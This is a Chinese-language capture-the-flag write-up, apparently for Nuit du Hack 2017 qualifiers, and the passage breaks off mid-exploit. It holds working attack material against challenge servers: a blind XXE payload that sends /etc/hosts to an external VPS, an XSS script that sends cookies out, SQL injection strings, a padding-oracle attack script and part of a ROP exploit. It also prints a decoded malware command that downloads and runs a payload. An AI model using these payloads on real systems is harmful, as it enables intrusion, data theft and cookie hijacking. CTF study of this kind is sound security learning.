from idc import *
from idautils import *
def decrypt(start, end, xor_data):
for i in range(start, end):
a = get_byte(i)
patch_byte(i, a^xor_data)
def xor_dec(ea, is_patch):
MakeCode(ea)
count = 0
count2 = 0
start1 = None
end1 = None
start2 = None
end2 = None
key = None
for i in range(0x200):
if (Byte(ea) == 0x48) & (Byte(ea+1) == 0x8d) & (Byte(ea+2) == 0x05): #lea rax
MakeCode(ea)
if count == 0:
start1 = GetOperandValue(ea, 1)
elif count == 1:
end1 = GetOperandValue(ea, 1)
elif count == 4:
start2 = GetOperandValue(ea, 1)
elif count == 5:
end2 = GetOperandValue(ea, 1)
break
count += 1
if (Byte(ea) == 0x83) & (Byte(ea+1) == 0xf0): #xor
MakeCode(ea)
if count2 == 0:
key = GetOperandValue(ea, 1)&0xff
count2 += 1
ea += 1
if start1 is None:
return None
if end1 is None:
return None
if start2 is None:
return None
if end2 is None:
return None
if key is None:
return None
print hex(start1), hex(end1), hex(start2), hex(end2), hex(key)
if is_patch:
#decrypt(start1, end1, key)
decrypt(start2, end2, key)
return start2
def find_header(ea):
for i in range(0x200):
if Byte(ea) == 0xe9: #jmp
if (Byte(ea-2) == 0x74) & (Byte(ea-1) == 0x05):
MakeCode(ea)
PatchByte(ea-1, 0x90)
PatchByte(ea-2, 0x90)
print hex(ea)
return GetOperandValue(ea, 0)
if (Byte(ea-2) == 0x90) & (Byte(ea-1) == 0x90):
MakeCode(ea)
PatchByte(ea-1, 0x90)
PatchByte(ea-2, 0x90)
print hex(ea)
return GetOperandValue(ea, 0)
if Byte(ea) == 0xeb: #jmp
if (Byte(ea-2) == 0x74) & (Byte(ea-1) == 0x02):
MakeCode(ea)
PatchByte(ea-1, 0x90)
PatchByte(ea-2, 0x90)
print hex(ea)
return GetOperandValue(ea, 0)
ea += 1
return None
ea = 0x400ccf
#ea = 0x40bc52
ea = 0x000000000040089D
while True:
ea = find_header(ea)
if ea is None:
break
print hex(ea)
ea = xor_dec(ea, 1)
if ea is None:
break
print hex(ea)
print 'finished'
在解压出来的代码中，共176次比较，均需要满足。
import os
f = open('./and_data.txt', 'r')
and_values = []
for line in f:
line = line.strip()
if line:
value = int(line.split(',')[1].strip('h'), 16)
and_values.append(value)
f.close()
print len(and_values)
f = open('./cmp_data.txt', 'r')
cmp_values = []
for line in f:
line = line.strip()
if line:
value = int(line.split(',')[1].strip('h'), 16)
cmp_values.append(value)
f.close()
print len(cmp_values)
def brute(c, andv):
v5 = 0xffffffff
for i in range(2):
v5 ^= ord(c[i])
for j in range(8):
if v5&1:
v5 = (v5>>1)^(0xffffffff&andv)
else:
v5 = (v5>>1)^(0&andv)
return v5
def test(andv, cmpv):
for c1 in range(0x100):
for c2 in range(0x100):
c = chr(c1) + chr(c2)
ret = brute(c, andv)
#print hex(ret)
if ret + cmpv == 0xffffffff:
return c
return None
input = ''
for i in range(167):
c = test(and_values[i], cmp_values[i])
input += c
f = open('./step4.input', 'wb')
f.write(input)
f.close()
**Codetalkers**
首先是一个gif，给了很多简单的图案，有重复的，根据题目的意思和第一张和最后一张进行猜测，猜测为利用图案进行单表替换的加密，类似于福尔摩斯的跳舞的小人。密码学部分简单，那么下面最关键的问题是图片处理了。我们需要对图片进行处理，首先将gif切分：
去掉开始和最后的文字图片，一共将一个gif图片切分为了1245个bmp文件。可以看到在这些图片中有很多图案的形状是重复的，但是颜色和大小都不是重复的，我试了一下直接对这些图片进行相似识别，现有的py很难分得很好，所以我决定对图片进行进一步处理。接下来，我们去掉颜色，将图片转为纯粹的黑白二色图片，连灰度都不要：
def padlen(a):
return "0"*(5-len(str(a)))+str(a)
from PIL import Image
def RGB2BlackWhite(filename,savename):
im = Image.open(filename)
print "image info,", im.format, im.mode, im.size
(w, h) = im.size
R = 0
G = 0
B = 0
for x in xrange(w):
for y in xrange(h):
pos = (x, y)
rgb = im.getpixel(pos)
(r, g, b) = rgb
R = R + r
G = G + g
B = B + b
rate1 = R * 1000 / (R + G + B)
rate2 = G * 1000 / (R + G + B)
rate3 = B * 1000 / (R + G + B)
print "rate:", rate1, rate2, rate3
for x in xrange(w):
for y in xrange(h):
pos = (x, y)
rgb = im.getpixel(pos)
(r, g, b) = rgb
n = r * rate1 / 1000 + g * rate2 / 1000 + b * rate3 / 1000
# print "n:",n
if n >= 10:
im.putpixel(pos, (255, 255, 255))
else:
im.putpixel(pos, (0, 0, 0))
im.save(savename)
for i in range(1,1246):
im="codetalkers.gif.ifl/IMG"+padlen(i)+".bmp"
imsave='bw/'+str(i)+".bmp"
RGB2BlackWhite(im,imsave)
经过这个脚本转换后，我将图片转为了纯粹的黑白图片：
这里要注意rgb的阈值的选取，可以边测试边调整，发现如果图片全黑那么说明选取的值偏大，可以进行调节，保证有白色的图案出来。
这样转换完成后，还是有问题，就是图案的大小和顺序是不一样的，所以我又找了个图片裁剪的函数，将周围的黑边去掉，并把裁剪完的图片调节为固定大小：
import Image, ImageChops
def autoCrop(image,backgroundColor=None):
'''Intelligent automatic image cropping.
This functions removes the usless "white" space around an image.
If the image has an alpha (tranparency) channel, it will be used
to choose what to crop.
Otherwise, this function will try to find the most popular color
on the edges of the image and consider this color "whitespace".
(You can override this color with the backgroundColor parameter)
Input:
image (a PIL Image object): The image to crop.
backgroundColor (3 integers tuple): eg. (0,0,255)
The color to consider "background to crop".
If the image is transparent, this parameters will be ignored.
If the image is not transparent and this parameter is not
provided, it will be automatically calculated.
Output:
a PIL Image object : The cropped image.
'''
def mostPopularEdgeColor(image):
''' Compute who's the most popular color on the edges of an image.
(left,right,top,bottom)
Input:
image: a PIL Image object
Ouput:
The most popular color (A tuple of integers (R,G,B))
'''
im = image
if im.mode != 'RGB':
im = image.convert("RGB")
# Get pixels from the edges of the image:
width,height = im.size
left = im.crop((0,1,1,height-1))
right = im.crop((width-1,1,width,height-1))
top = im.crop((0,0,width,1))
bottom = im.crop((0,height-1,width,height))
pixels = left.tobytes() + right.tobytes() + top.tobytes() + bottom.tobytes()
# Compute who's the most popular RGB triplet
counts = {}
for i in range(0,len(pixels),3):
RGB = pixels[i]+pixels[i+1]+pixels[i+2]
if RGB in counts:
counts[RGB] += 1
else:
counts[RGB] = 1
# Get the colour which is the most popular:
mostPopularColor = sorted([(count,rgba) for (rgba,count) in counts.items()],reverse=True)[0][1]
return ord(mostPopularColor[0]),ord(mostPopularColor[1]),ord(mostPopularColor[2])
bbox = None
# If the image has an alpha (tranparency) layer, we use it to crop the image.
# Otherwise, we look at the pixels around the image (top, left, bottom and right)
# and use the most used color as the color to crop.
# --- For transparent images ----------------------------------------------- if 'A' in image.getbands(): # If the image has a transparency layer, use it.
# This works for all modes which have transparency layer
bbox = image.split()[list(image.getbands()).index('A')].getbbox()
# --- For non-transparent images ------------------------------------------- elif image.mode=='RGB':
if not backgroundColor:
backgroundColor = mostPopularEdgeColor(image)
# Crop a non-transparent image.
# .getbbox() always crops the black color.
# So we need to substract the "background" color from our image.
bg = Image.new("RGB", image.size, backgroundColor)
diff = ImageChops.difference(image, bg) # Substract background color from image
bbox = diff.getbbox() # Try to find the real bounding box of the image.
else:
raise NotImplementedError, "Sorry, this function is not implemented yet for images in mode '%s'." % image.mode
if bbox:
image = image.crop(bbox)
return image
for i in range(1,1246):
im = Image.open('bw/'+str(i)+'.bmp')
cropped = autoCrop(im)
cropped=cropped.resize((80, 80), Image.ANTIALIAS)
cropped.save('min/'+str(i)+'.bmp')
调节过后达到了如下效果：
这样处理过后，再进行图案的比对分析，网上的脚本基本均可使用，相同图片和不同图片的差异在30倍以上。最后我将相同的图案用一种字母代替，得到了图片到字符串的转换结果，发现一共有26种不同图案，正好对应26个字母。
from itertools import izip
import Image
def padlen(a):
return "0"*(5-len(str(a)))+str(a)
def check(num1,num2):
i1 = Image.open("min/"+str(num1)+".bmp")
i2 = Image.open("min/"+str(num2)+".bmp")
assert i1.mode == i2.mode, "Different kinds of images."
assert i1.size == i2.size, "Different sizes."
pairs = izip(i1.getdata(), i2.getdata())
if len(i1.getbands()) == 1:
dif = sum(abs(p1 - p2) for p1, p2 in pairs)
else:
dif = sum(abs(c1 - c2) for p1, p2 in pairs for c1, c2 in zip(p1, p2))
ncomponents = i1.size[0] * i1.size[1] * 3
return (dif / 255.0 * 100) / ncomponents
import string
charlist=string.printable
charlist="abcdefghijklmnopqrstuvwxyz"
misc=['0']*1246
p=0
for i in range(1,1246):
print i
if misc[i]=='0':
misc[i]=charlist[p]
for j in range(i+1,1246):
te=check(i,j)
if misc[j]=='0' and te<15:
misc[j]=charlist[p]
if te>10 and te<15:
print i,j
print "sth error"
raw_input()
p += 1
print "".join(misc)
这样转换完成后，我们可以对得到的字符串在quipquip上破解单表替代密码：
最后的空格去掉就是flag。
**From Russia with Love**
分析dump.img中的程序，发现将第2扇区开始的几个扇区读入到0x1000处，然后跳转到0x1200执行。最后发现会向shell脚本中插入一些字符，插入的代码如下。同时通过ultraiso可以从dump.img中提取得到一个picture.bmp文件。
f = open('./dump2.img', 'rb')
d = f.read()[0x7e7:].split('x00')[0]
f.close()
s = ''
for i in range(len(d)):
s += chr(ord(d[i])^0x90)
print s
得到的字符串为:
wget http://fromrussiawithlove.quals.nuitduhack.com/yzaegrdsfhvzey.txt -O /tmp/b 2> /dev/null > /dev/null; cat /tmp/b | base64 -d > /tmp/a 2> /dev/null; chmod +x /tmp/a 2> /dev/null; /tmp/a &
下载得到的/tmp/a为一个elf，将一个lib文件写入了一个/lib/lib_preload。
f = open('./a.bin', 'rb')
d = f.read()[0x3ec0:0x3ec0+0xa518]
f.close()
key = 'NDH2017'
d2 = ''
for i in range(0xa518):
d2 += chr(ord(d[i])^ord(key[i%7]))
print d2
f = open('ldpreload', 'wb')
f.write(d2)
f.close()
分析ld_preload库文件，发现chmod中存在一定条件下会调用chiffreFiles函数。在chiffreFiles中会对文件进行加密。
密钥由17个字节计算crc32得到的64个字节key。
文件加密过程为生成65字节IV，然后再进行异或。写入到文件中的数据为
IV+l64(length)+enc_buff
由于密钥是由两个字符crc32得到的，同时bmp的头部有部分内容是固定的。因此可以根据bmp中固定的部分，得到可能的key值，然后判断key值是否为两个字符的crc32。
一个bmp的头部大致如下:
最后这样能算出36位key，将key通过补x00补到64位，解密picture.bmp文件，发现文件中有大块的0xff值，如下图所示。因此根据这些非0xff值可以得到完整的key。
from zio import *
def crc32(c):
v5 = 0xffffffff
for i in range(2):
v5 ^= ord(c[i])
for j in range(8):
if v5&1:
v5 = (v5>>1)^(0xffffffff&0xEDB88320)
else:
v5 = (v5>>1)^(0&0xEDB88320)
v5 = 0xffffffff -v5
return v5
crc32_table = {}
for c0 in range(0x80):
for c1 in range(0x80):
s = chr(c0) + chr(c1)
crc32_table[crc32(s)] = s
bmp_header ='''
42 4D 7A 53 07 00 00 00 00 00 ?? 00 00 00 ?? 00
00 00 ?? ?? 00 00 ?? ?? 00 00 01 00 ?? 00 00 00
00 00 00 ??
'''
bmp_header = bmp_header.replace('n', '').replace(' ', '')
print bmp_header
f = open('./dump2.img', 'rb')
d = f.read()[0x7e7:].split('x00')[0]
f.close()
f = open('./picture.bmp', 'rb')
d = f.read()
f.close()
IV = d[0:0x41]
length = l64(d[0x41:0x49])
def find_tmp_key(tmp_key):
for key,value in crc32_table.items():
find = True
for i in range(4):
if tmp_key.has_key(i):
if tmp_key[i] != (l32(key)[i]):
find = False
break
if find:
return key, value
return None, None
data = d[0x49:]
input = ''
key = ''
for i in range(len(bmp_header)/8):
data = bmp_header[8*i:8*i+8]
tmp_key = {}
for j in range(4):
v = data[j*2:j*2+2]
try:
c = int(v, 16)
tmp_key[j] = chr(ord(d[0x49+i*4+j])^c^ord(IV[(4*i+j)%41]))
except:
pass
k, s = find_tmp_key(tmp_key)
if input:
input += s[1:]
else:
input = s
key += l32(k)
def decrypt_bmp(d, key):
IV = d[:0x41]
d3 = ''
for i in range(length):
d3 += chr(ord(d[i + 0x49]) ^ ord(IV[i % 0x41]) ^ ord(key[i % 0x40]))
f = open('a4.bmp', 'wb')
f.write(d3)
f.close()
dds = '5E 9F BD F2 CA 53 44 24 C4 54 8B 5B 0D D6 97 A71D 8C 09 4A 09 B6 31 EA 6E 5D C0 B8'.replace(' ', '').decode('hex')
for ds in dds:
key += chr(0xff^ord(ds))
#key = key.ljust(0x40, 'x00')
decrypt_bmp(d, key)
flag = ''
for i in range(len(key)/4):
if flag:
flag += crc32_table[l32(key[i*4:i*4+4])][1:]
else:
flag = crc32_table[l32(key[i*4:i*4+4])]
print flag
**No Pain No Gain**
进去发现是一个上传页面，上传csv，进行转换，fuzz时候得到过这样的错误
所以猜测是xxe,
然后尝试一波之后没有想法,一直都报错,后来才知道,报错是没关系的,因为已经执行了,所以是一个 blind xxe
然后直接用里面的payload改一该就好了,提交的文件内容如下:
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % xxe SYSTEM "http://104.160.43.154:8000/evil.dtd"> %xxe;%send; ]>
<!-- Invitations -->
id,name,email
然后vps上的evil.dtd内容如下：
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://104.160.43.154:8000/xss/?file=%file;'>"
>
%all;
成功获取到hosts的内容,那么开始寻找 flag ,最后是在 /home/flag/flag 里面,
最后截图如下:
**Slumdog Millionaire**
从题目获取代码如下：
#!/usr/bin/python2.7
import random
import config
import utils
random.seed(utils.get_pid())
ngames = 0
def generate_combination():
numbers = ""
for _ in range(10):
rand_num = random.randint(0, 99)
if rand_num < 10:
numbers += "0"
numbers += str(rand_num)
if _ != 9:
numbers += "-"
return numbers
def reset_jackpot():
random.seed(utils.get_pid())
utils.set_jackpot(0)
ngames = 0
def draw(user_guess):
ngames += 1
if ngames > config.MAX_TRIES:
reset_jackpot()
winning_combination = generate_combination()
if winning_combination == user_guess:
utils.win()
reset_jackpot()
查看之后发现,要是我们知道了 seed 即那个进程的pid,那么就能预测所有的组合,所以先在网页随便输入一串东西,然后得到第一次的正确答案,这里我得到的是
56-08-50-98-94-51-01-75-63-61
然后运行如下代码就好了
import random
def generate_combination():
numbers = ""
for _ in range(10):
rand_num = random.randint(0, 99)
if rand_num < 10:
numbers += "0"
numbers += str(rand_num)
if _ != 9:
numbers += "-"
return numbers
seed=0
for i in xrange(1,10000):
random.seed(i)
ret = generate_combination()
print ret
if (ret == '56-08-50-98-94-51-01-75-63-61'):
print 'find',i
seed=i
break
random.seed(seed)
ans=generate_combination()
ans=generate_combination()
print ans
得到ans提交就拿到flag了
**Divide and rule**
首先点进去是个登陆页面，
然后去 search 那儿找东西
发现那一堆查询参数是存在注入的,随便加个单引号就不返回值了。
然后尝试联合查询发现还是不返回,后来想到这么多参数很可能是长度受了限制,然后就分开来,最后测试成功,如下:
firstname='union select/*&lastname=*/1,2,3,4,5,6#&position=&country=123&gender=
但是有一个问题就是,长度限制后来测出来好像是15,这样子没办法查表名和列名之类的,因为 information_schema 太长了。
后来脑洞了一下猜到表名是 users ,
然后根据初始登录页面的name猜到字段名分别是 login 和 password
firstname='union select/*&lastname=*/login/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=
firstname='union select/*&lastname=*/password/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=
得到三个用户名和三个md5的密码值,MD5解密之后登陆就拿到flag了
#三个用户名
ruleradmin
patrick
raoul
#三个密码
04fc95a5debc7474a84fad9c50a1035d #smart1985
db6eab0550da4b056d1a33ba2e8ced66 #1badgurl
7ac89e3c1f1a71ee19374d7e8912714b #1badboy
**Purple Posse Market**
进去之后研究半天,发现有一个contact页面可以提交一些东西,然后其他好像也没有太多用,题目描述让拿到管理员的IBAN账户。那多半是xss拿到cookie登陆后台了,然后在评论这里尝试提交,发现根本没有过滤,下面代码直接就能返回。
<script src="http://你的xss平台"></script>
回到题目，既然没有过滤，那么直接执行js就好了，提交如下：
<script src="http://你的网址/requests.js"></script>
然后这个 request.js 这样写的
$.get("http://你的xss平台?a="+document.cookie,function(data,status){})
截图如下:
登陆进去就能看到IBAN账户,这就是flag了。
**WhyUNoKnock**
一道挺有意思的题目，网址进去是一个登陆页面，登陆时候输入了3个参数，login password
group，前两个参数用户名和密码简单测试应该没问题，然后第三个参数，更改为其他字符就提示 PDOException : 1044
一开始猜测是表名注入，但是测试各种payload发现不符合sql语句的规范。后来本地测试的时候发现输入点可能在利用pdo连接数据库的时候选择的配置。然后猜测能够覆盖掉pdo的其他配置，输入group=users;host=test.dns.log:1234;然后有dns的记录和tcp请求的记录，证明输入点的确在这个位置。但是我们不知道数据库密码和数据库结构怎么办呢？心里有两个选项:
1.虽然他想连接一个mysql服务，但是我们不一定要给他一个真的mysql，可以自己写一个fake mysql
server或者在真正mysql返回的时候抓包替换返回值为自己构造的数据。2.修改mysql的配置解决这两个问题:先是利用参数skip-grant-table可以跳过认证，然后设置mysql日志抓取sql记录，然后通过sql去建立相应的数据库。这里选择了第二个方式。最后的sql日志如图
erpay即为服务器连接时的用户名，然后执行了一个select语句，通过构造出相应的admins数据库，增加一条记录，就能成功登陆，拿到flag。
**MarkIsFaillingDownDrunk**
进去之后随便点一个，发现链接变成这个
<http://markisfaillingdowndrunk.quals.nuitduhack.com/view/deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02>
这一看都不用想，80%是`padding oracle`，
然后开始写代码，先把他的几串东西的明文搞出来，代码如下：
import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):
result=requests.get(url+param)
#print result.content
return result
def xor(a, b):
print "length",len(a),len(b)
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)
def padding_oracle(N,cipher): ##return middle
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding+cipher
print c.encode('hex')
result=inject(c.encode('hex'))
if result.status_code!=500:
print j
get=chr(j^i)+get
break
return get
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):
c=[]
str1=s[i].decode('hex')
#print s[i]
#print str1
for j in xrange(0,len(str1),N):
c.append(str1[j:j+N])
l=len(c)
print l
p=[""]*l
for j in xrange(l-1,0,-1):
middle=padding_oracle(N,c[j])
print "========================middle================================"
print j
print middle.encode('hex')
p[j]=xor(middle,c[j-1])
print p[j]
print "==========================plain==============================="
print i
print p
ans.append(p)
print ans
由于服务器比较慢，
所以我是开了两个程序顺序反序一起跑，把第一串和第四串跑出来是个这样的东西，
1：https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.mdx10x10x10x10x10x10x10x10x10x10x10x10x10x10x10x10
4：https://raw.githubusercontent.com/dlitz/pycrypto/master/READMEx02x02
访问一下，内容是这个
# Welcome to MarkParser !
## This is a simple Markdown test.
Test for dynamic rendering :
[{{ config['WEBSITE_NAME'] }}](/)
再看看它网页的内容
这样就明白了,
也就是说他的 view 后面直接跟的链接。他会读取链接的内容,然后进行 markdown 转换,然后在进行模板渲染。
所以接下来的思路也就很明确很简单了,让它访问我们的网站预先放好的 md ,然后就是个 ssti 了,通过一些奇怪姿势找
到执行命令或是读取文件的函数就行了。
这里由于有了第四个链接,所以构造一个目录如下:
第四个密文对应明文:
https://raw.githubusercontent.com/dlitz/pycrypto/master/READMEx02x02
我的网页: http://xxx.xxx.xx.xxx:8000/xxxxxxxxxxxxxxxxxxxxx/master/READMEx02x02
最后一组明文和他密文解密出来的一样,这样我就可以维持最后一个分组密文以及倒数第二个分组的密文不变了。然后依
次通过 padding oracle 获取中间值,与构造的密文异或得到构造的密文,从而得到我的网址对应的密文
至于具体 padding oracle 伪造明文的原理这里不赘述了。
代码如下:
import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):
result=requests.get(url+param)
#print result.content
return result
def xor(a, b):
print "length",len(a),len(b)
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)
def padding_oracle(N,cipher): ##return middle
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding+cipher
print c.encode('hex')
result=inject(c.encode('hex'))
if result.status_code!=500:
print j
get=chr(j^i)+get
break
return get
'''
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):
c=[]
str1=s[i].decode('hex')
#print s[i]
#print str1
for j in xrange(0,len(str1),N):
c.append(str1[j:j+N])
l=len(c)
print l
p=[""]*l
for j in xrange(l-1,0,-1):
middle=padding_oracle(N,c[j])
print "========================middle================================"
print j
print middle.encode('hex')
p[j]=xor(middle,c[j-1])
print p[j]
print "==========================plain==============================="
print i
print p
ans.append(p)
print ans
'''
cipher=[
"deadbeefcafedeadbeefcafe04030201",
"52208110d1a06ce628ff8e10f4cbc1aa",
"96ac276f57b6d80e50df1050c455fdf4",
"40d56ae51399ceb30b5b69153ddc2302",
"19e3f662023665e8885c90867b8c3a02"
]
middle=[
'b6d9ca9fb9c4f182cc8ebdd0636a7669',
'2742f463b4d20f89468beb7e80e5a2c5',
'fb8343033ec2a22120a67322bd25899b',
'6fb80b9667fcbc9c591e285170992100'
]
ans =[
"http://xxx.xxx.x",
"x.xxx:8000/xxxxx",
"xxxxxxxxxxxxxxxx",
"/master/READMEx02x02"
]
tmp_ans=[""]*5
tmp_ans[4]=cipher[4]
tmp_ans[3]=cipher[3]
tmp_middle=middle[2].decode('hex')
tmp_ans[2]=xor(ans[2],tmp_middle).encode("hex")
tmp_middle=padding_oracle(N,tmp_ans[2].decode("hex"))
print tmp_middle.encode('hex') #"9d41e1434f05be3bea284b8d2eb8928b".decode('hex')
tmp_ans[1]=xor(ans[1],tmp_middle).encode("hex")
tmp_middle=padding_oracle(N,tmp_ans[1].decode("hex"))
print tmp_middle.encode('hex') #"c05b49fef1d14b17aa0dd98a591ea57f".decode('hex')
tmp_ans[0]=xor(ans[0],tmp_middle).encode("hex")
view="".join(i for i in tmp_ans)
print view
#a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02
通过上述代码,我得到我的这个链接
http://xxx.xxx.xx.xxx:8000/xxxxxxxxxxxxxxxxxxxxx/master/README 对应的密文是
a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02
然后修改我的网站的README的内容为
注意下我的这个内容外面包了两个反撇号，因为我们刚才说了，他会读取链接的内容，然后进行markdown转换，然后在进行模板渲染。markdown，转换在先，很多我们需要用的符号在markdown里面都有特殊语义会被转换，加上这两个反撇号就好了。
然后尝试访问
<http://markisfaillingdowndrunk.quals.nuitduhack.com/view/a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02>
结果如下：
成功了,
好的,接下来就找出 SSTI 的payload执行一波命令,发现失败了,经过一番测试才知道题目用的环境是 python3 ,而平时
做的题目之类的都是 python2 ,那么开始在python3下面寻找姿势。
最后 payload 如下:
直接访问得到flag如下:
**escapeTheMatrix**
题目是个矩阵求逆的过程，如下：
初始化的时候，矩阵行和列最大可为16*16，如下：
但是逆矩阵的存储最大只有15*15，因此可以溢出，
矩阵里面存储的是double类型的数据，如下所示：
计算时会损失精度，数值不好控制，但是如果数量级一样的话，尾数部分占了52bit，是相对比较精确的，为了提高精度，将参与的数值计算的数取得越少越好，及将矩阵里面存储的数值绝大部分设为0，要求逆矩阵，那么最好是从单位矩阵开始修改，如下：
arrays = [
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,a,b,c,d,e, f, g, h,i,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1]
如果该矩阵是存储的结果即逆矩阵，那么此时从a开始的位置，会在函数返回时当成rip，矩阵求逆的过程是可逆的，因此，为了求得固定的逆矩阵，可以将结果当成输入，即把a~i处的值替换成目的结果，求出最原始的的值，由于输入前也不好控制，因此在这里，直接写个gdb脚本来设置如下：
target_name = "escapeTheMatrix_patch"
gdb.execute('file %s'%target_name)
proc_pid = execute_external_output("pidof %s"%target_name)[0].split(' ')[0]
gdb.execute("attach %s"%proc_pid)
gdb.execute("b *0x401018")
gdb.execute("c")
val_list = [0x401c33,
0x400a60,
0x401c31,
0x603020,
0x400D75
]
for i in range(len(val_list)):
gdb.execute("set *(long long*)($rsi+0x20+0x10*14*8+(5+%d)*8)=0x%x"%(i, val_list[i]))
gdb.execute("b *0x4010F2")
gdb.execute("c")
将最终的结果，求出来以后，转换得到高精度的值，即求得小数点后面位数越多越好，如下：
#include <stdio.h>
int main()
{
while (1)
{
long long val;
printf(">> ");
scanf("%llx", &val);
printf("%.32en", *(double *)&val);
}
}
这样求出的结果直接转换成输入即可，最终利用代码如下：
from zio import *
is_local = True
is_local = False
binary_path = "./escapeTheMatrix_patch"
libc_file_path = ""
#libc_file_path = "./libc.so.6"
ip = "escapethematrix.quals.nuitduhack.com"
port = 50505
if is_local:
target = binary_path
else:
target = (ip, port)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path})
return io
def pwn_with_array(io, val_list):
arrays = [
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
